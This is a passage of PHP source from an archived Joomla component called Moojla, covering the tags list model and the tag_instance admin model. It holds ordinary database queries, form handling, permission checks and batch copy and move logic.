			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}


/***[JCBGUI.admin_view.php_before_save.136.$$$$]***/
   
require_once(JPATH_ADMINISTRATOR.'/components/com_tags/models/tag.php');
   
require_once(JPATH_ADMINISTRATOR.'/components/com_tags/tables/tag.php');
    $joomlatag = array();
    if($data['id']) // update
    {
      $db= JFactory::getDbo();
      $query= $db->getQuery(true)
        ->select('ctm.tag_id as  tag_id')
       
->from($db->quoteName('#__moojla_tag','mt'))
       
->join('inner',$db->quoteName('#__contentitem_tag_map','ctm').'on'.$db->quoteName('mt.id').'='.$db->quoteName('ctm.content_item_id'))
        ->where($db->quoteName('mt.id') . ' = ' .
$db->quote($data['id']));

      $db->setQuery($query);
      $tagrows = $db->loadAssoc();

      if(isset($tagrows['tag_id']))
      {
        $joomlatag['id'] = $tagrows['tag_id'];
      }
    }
    $db= JFactory::getDbo();
    $query= $db->getQuery(true)
      ->select('id')
      ->from($db->quoteName('#__tags'))
      ->where($db->quoteName('title') . ' = ' .
$db->quote($data['tagname']));

    $db->setQuery($query);
    $tagid = $db->loadResult();
    if(!$tagid)
    {
      $joomlatag['access'] = 1;
      $joomlatag['language'] = '*';
      $joomlatag['published'] = 1;
      $joomlatag['title'] = $data['tagname'];

      $tagModel= new TagsModelTag;
      $tagModel->save($joomlatag);
      $itemid = ($tagrows['tag_id'] ?
array($tagrows['tag_id']) :
array($tagModel->getItem()->id));
      $data['tags'] = $itemid;
    }
    else
    {
      $data['tags'] = array($tagid);
    }
/***[/JCBGUI$$$$]***/

        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}

	/**
	 * Method to change the title
	 *
	 * @param   string   $title   The title.
	 *
	 * @return	array  Contains the modified title and alias.
	 *
	 */
	protected function _generateNewTitle($title)
	{

		// Alter the title
		$table = $this->getTable();

		while ($table->load(array('title' => $title)))
		{
			$title = StringHelper::increment($title);
		}

		return $title;
	}
}
models/tags.php000064400000023051151165724400007504 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tags.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Tags Model
 */
class MoojlaModelTags extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.access','access',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'a.tagid','tagid',
				'a.tagname','tagname'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$tagid = $this->getUserStateFromRequest($this->context .
'.filter.tagid', 'filter_tagid');
		if ($formSubmited)
		{
			$tagid = $app->input->post->get('tagid');
			$this->setState('filter.tagid', $tagid);
		}

		$tagname = $this->getUserStateFromRequest($this->context .
'.filter.tagname', 'filter_tagname');
		if ($formSubmited)
		{
			$tagname = $app->input->post->get('tagname');
			$this->setState('filter.tagname', $tagname);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();

		// Set values to display correctly.
		if (MoojlaHelper::checkArray($items))
		{
			// Get the user object if not set.
			if (!isset($user) || !MoojlaHelper::checkObject($user))
			{
				$user = JFactory::getUser();
			}
			foreach ($items as $nr => &$item)
			{
				// Add the tags
				$item->tags = new JHelperTags;
				$item->tags->getTagIds(
					$item->id, 'com_moojla.tag'
				);
				if ($item->tags->tags)
				{
					$item->tags = implode(', ',
						$item->tags->getTagNames(
							explode(',', $item->tags->tags)
						)
					);
				}
				else
				{
					$item->tags = '';
				}
			}
		}

		// set selection value to a translatable value
		if (MoojlaHelper::checkArray($items))
		{
			foreach ($items as $nr => &$item)
			{
				// convert isstandard
				$item->isstandard =
$this->selectionTranslation($item->isstandard,
'isstandard');
			}
		}

        
		// return items
		return $items;
	}

	/**
	 * Method to convert selection values to translatable string.
	 *
	 * @return translatable string
	 */
	public function selectionTranslation($value,$name)
	{
		// Array of isstandard language strings
		if ($name === 'isstandard')
		{
			$isstandardArray = array(
				1 => 'COM_MOOJLA_TAG_YES',
				0 => 'COM_MOOJLA_TAG_NO'
			);
			// Now check if value is found in this array
			if (isset($isstandardArray[$value]) &&
MoojlaHelper::checkString($isstandardArray[$value]))
			{
				return $isstandardArray[$value];
			}
		}
		return $value;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_tag',
'a'));

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}

		// Join over the asset groups.
		$query->select('ag.title AS access_level');
		$query->join('LEFT', '#__viewlevels AS ag ON ag.id =
a.access');
		// Filter by access level.
		$_access = $this->getState('filter.access');
		if ($_access && is_numeric($_access))
		{
			$query->where('a.access = ' . (int) $_access);
		}
		elseif (MoojlaHelper::checkArray($_access))
		{
			// Secure the array for the query
			$_access = ArrayHelper::toInteger($_access);
			// Filter by the Access Array.
			$query->where('a.access IN (' . implode(',',
$_access) . ')');
		}
		// Implement View Level Access
		if (!$user->authorise('core.options',
'com_moojla'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.tagid LIKE '.$search.' OR a.tagname
LIKE '.$search.')');
			}
		}


		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		// Check if the value is an array
		$_access = $this->getState('filter.access');
		if (MoojlaHelper::checkArray($_access))
		{
			$id .= ':' . implode(':', $_access);
		}
		// Check if this is only an number or string
		elseif (is_numeric($_access)
		 || MoojlaHelper::checkString($_access))
		{
			$id .= ':' . $_access;
		}
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		$id .= ':' . $this->getState('filter.tagid');
		$id .= ':' . $this->getState('filter.tagname');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_tag'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_tag'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/tag_instance.php000064400000052354151165724400011215
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag_instance.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Tag_instance Model
 */
class MoojlaModelTag_instance extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'moodletag'
			),
			'right' => array(
				'moojlacourse'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.tag_instance';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'tag_instance', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}
    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.tag_instance',
'tag_instance', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.tag_instance.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/tag_instance.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.tag_instance.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.tag_instance.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.tag_instance.'. ((int) isset($data[$key]) ?
$data[$key] : 0)) or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_tag_instance'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.tag_instance.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.tag_instance', $data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return false;
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{
		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			= MoojlaHelper::getActions('tag_instance');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('tag_instance');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// Only for strings
			if (MoojlaHelper::checkString($this->table->moojlacourse)
&& !is_numeric($this->table->moojlacourse))
			{
				$this->table->moojlacourse =
$this->generateUnique('moojlacourse',$this->table->moojlacourse);
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('tag_instance');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}
        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}

	/**
	 * Method to change the title
	 *
	 * @param   string   $title   The title.
	 *
	 * @return	array  Contains the modified title and alias.
	 *
	 */
	protected function _generateNewTitle($title)
	{

		// Alter the title
		$table = $this->getTable();

		while ($table->load(array('title' => $title)))
		{
